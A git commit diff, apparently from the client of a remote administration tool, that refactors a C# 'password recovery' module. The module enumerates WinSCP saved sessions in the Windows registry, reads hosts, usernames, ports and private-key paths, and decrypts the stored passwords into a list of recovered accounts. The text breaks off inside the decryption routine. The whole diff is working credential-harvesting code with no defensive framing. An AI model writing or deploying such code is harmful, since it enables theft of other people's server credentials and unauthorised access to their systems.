Improved WinSCP Password Recovery

This commit is contained in:
MaxXor 2015-08-18 18:24:18 +02:00
parent d8853366ba
commit fed575fa2d
2 changed files with 58 additions and 61 deletions

View File

@ -23,9 +23,10 @@ namespace xClient.Core.Extensions
/// </summary> /// </summary>
/// <param name="key">The key of which we obtain the value of.</param> /// <param name="key">The key of which we obtain the value of.</param>
/// <param name="keyName">The name of the key.</param> /// <param name="keyName">The name of the key.</param>
/// <param name="defaultValue">The default value if value can not be determinated.</param>
/// <returns>Returns the value of the key using the specified key name. If unable to do so, /// <returns>Returns the value of the key using the specified key name. If unable to do so,
/// string.Empty will be returned instead.</returns> /// defaultValue will be returned instead.</returns>
private static string GetValueSafe(this RegistryKey key, string keyName) public static string GetValueSafe(this RegistryKey key, string keyName, string defaultValue = "")
{ {
// Before calling this, use something such as "IsNameOrValueNull" to make sure // Before calling this, use something such as "IsNameOrValueNull" to make sure
// that the input used for this method is usable. The responsibility for this // that the input used for this method is usable. The responsibility for this
@ -33,11 +34,11 @@ namespace xClient.Core.Extensions
// allowing exceptions if any are generated. // allowing exceptions if any are generated.
try try
{ {
return key.GetValue(keyName).ToString(); return key.GetValue(keyName, defaultValue).ToString();
} }
catch catch
{ {
return string.Empty; return defaultValue;
} }
} }

View File

@ -2,8 +2,8 @@
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.Linq; using System.Linq;
using System.Text;
using xClient.Core.Data; using xClient.Core.Data;
using xClient.Core.Extensions;
namespace xClient.Core.Recovery.FtpClients namespace xClient.Core.Recovery.FtpClients
{ {
@ -15,30 +15,30 @@ namespace xClient.Core.Recovery.FtpClients
try try
{ {
string RegKey = @"SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions"; string RegKey = @"SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions";
using (Microsoft.Win32.RegistryKey key = Registry.CurrentUser.OpenSubKey(RegKey))
using (RegistryKey key = Registry.CurrentUser.OpenSubKey(RegKey))
{ {
foreach (String subkeyName in key.GetSubKeyNames()) foreach (String subkeyName in key.GetSubKeyNames())
{ {
if (Registry.GetValue(key.OpenSubKey(subkeyName).ToString(), "HostName", null) != null) using (RegistryKey accountKey = key.OpenReadonlySubKeySafe(subkeyName))
{ {
string Host = Registry.GetValue(key.OpenSubKey(subkeyName).ToString(), "HostName", "").ToString(); if (accountKey == null) continue;
string User = Registry.GetValue(key.OpenSubKey(subkeyName).ToString(), "UserName", "").ToString(); string host = accountKey.GetValueSafe("HostName");
string Password = WinSCPDecrypt(User, Registry.GetValue(key.OpenSubKey(subkeyName).ToString(), "Password", "").ToString(), Host); if (string.IsNullOrEmpty(host)) continue;
if ((Password == string.Empty) && ((Registry.GetValue(key.OpenSubKey(subkeyName).ToString(), "PublicKeyFile", null) != null)))
Password = "[PRIVATE KEY AT " + Uri.UnescapeDataString(Registry.GetValue(key.OpenSubKey(subkeyName).ToString(), "PublicKeyFile", null).ToString()) + "]"; string user = accountKey.GetValueSafe("UserName");
if (Registry.GetValue(key.OpenSubKey(subkeyName).ToString(), "PortNumber", null) != null) string password = WinSCPDecrypt(user, accountKey.GetValueSafe("Password"), host);
{ string privateKeyFile = accountKey.GetValueSafe("PublicKeyFile");
Host = Host + ":" + Registry.GetValue(key.OpenSubKey(subkeyName).ToString(), "PortNumber", null); host += ":" + accountKey.GetValueSafe("PortNumber", "22");
}
else if (string.IsNullOrEmpty(password) && !string.IsNullOrEmpty(privateKeyFile))
{ password = string.Format("[PRIVATE KEY LOCATION: \"{0}\"]", Uri.UnescapeDataString(privateKeyFile));
Host = Host + ":22";
}
data.Add(new RecoveredAccount data.Add(new RecoveredAccount
{ {
URL = Host, URL = host,
Username = User, Username = user,
Password = Password, Password = password,
Application = "WinSCP" Application = "WinSCP"
}); });
} }
@ -68,59 +68,55 @@ namespace xClient.Core.Recovery.FtpClients
return ""; return "";
} }
string qq = pass; string qq = pass;
List<string> HashList = new List<string>(); List<string> hashList = qq.Select(keyf => keyf.ToString()).ToList();
foreach (char keyf in qq) List<string> newHashList = new List<string>();
HashList.Add(keyf.ToString()); for (int i = 0; i < hashList.Count; i++)
List<string> NewHashList = new List<string>();
for (int i = 0; i < HashList.Count; i++)
{ {
if (HashList[i] == "A") if (hashList[i] == "A")
NewHashList.Add("10"); newHashList.Add("10");
if (HashList[i] == "B") if (hashList[i] == "B")
NewHashList.Add("11"); newHashList.Add("11");
if (HashList[i] == "C") if (hashList[i] == "C")
NewHashList.Add("12"); newHashList.Add("12");
if (HashList[i] == "D") if (hashList[i] == "D")
NewHashList.Add("13"); newHashList.Add("13");
if (HashList[i] == "E") if (hashList[i] == "E")
NewHashList.Add("14"); newHashList.Add("14");
if (HashList[i] == "F") if (hashList[i] == "F")
NewHashList.Add("15"); newHashList.Add("15");
if ("ABCDEF".IndexOf(HashList[i]) == -1) if ("ABCDEF".IndexOf(hashList[i]) == -1)
NewHashList.Add(HashList[i]); newHashList.Add(hashList[i]);
} }
List<string> NewHashList2 = NewHashList; List<string> newHashList2 = newHashList;
int length = 0; int length = 0;
if (dec_next_char(NewHashList2) == 255) if (dec_next_char(newHashList2) == 255)
length = dec_next_char(NewHashList2); length = dec_next_char(newHashList2);
NewHashList2.Remove(NewHashList2[0]); newHashList2.Remove(newHashList2[0]);
NewHashList2.Remove(NewHashList2[0]); newHashList2.Remove(newHashList2[0]);
NewHashList2.Remove(NewHashList2[0]); newHashList2.Remove(newHashList2[0]);
NewHashList2.Remove(NewHashList2[0]); newHashList2.Remove(newHashList2[0]);
length = dec_next_char(NewHashList2); length = dec_next_char(newHashList2);
List<string> NewHashList3 = NewHashList2; List<string> newHashList3 = newHashList2;
NewHashList3.Remove(NewHashList3[0]); newHashList3.Remove(newHashList3[0]);
NewHashList3.Remove(NewHashList3[0]); newHashList3.Remove(newHashList3[0]);
int todel = dec_next_char(NewHashList2) * 2; int todel = dec_next_char(newHashList2) * 2;
for (int i = 0; i < todel; i++) for (int i = 0; i < todel; i++)
{ {
NewHashList2.Remove(NewHashList2[0]); newHashList2.Remove(newHashList2[0]);
} }
string password = ""; string password = "";
for (int i = -1; i < length; i++) for (int i = -1; i < length; i++)
{ {
string data = ((char)dec_next_char(NewHashList2)).ToString(); string data = ((char)dec_next_char(newHashList2)).ToString();
NewHashList2.Remove(NewHashList2[0]); newHashList2.Remove(newHashList2[0]);
NewHashList2.Remove(NewHashList2[0]); newHashList2.Remove(newHashList2[0]);
password = password + data; password = password + data;
} }
string splitdata = user + host; string splitdata = user + host;
int len = password.Length - 1; int sp = password.IndexOf(splitdata, StringComparison.Ordinal);
int sp = password.IndexOf(splitdata);
password = password.Remove(0, sp); password = password.Remove(0, sp);
password = password.Replace(splitdata, ""); password = password.Replace(splitdata, "");
return password; return password;
} }
catch catch
{ {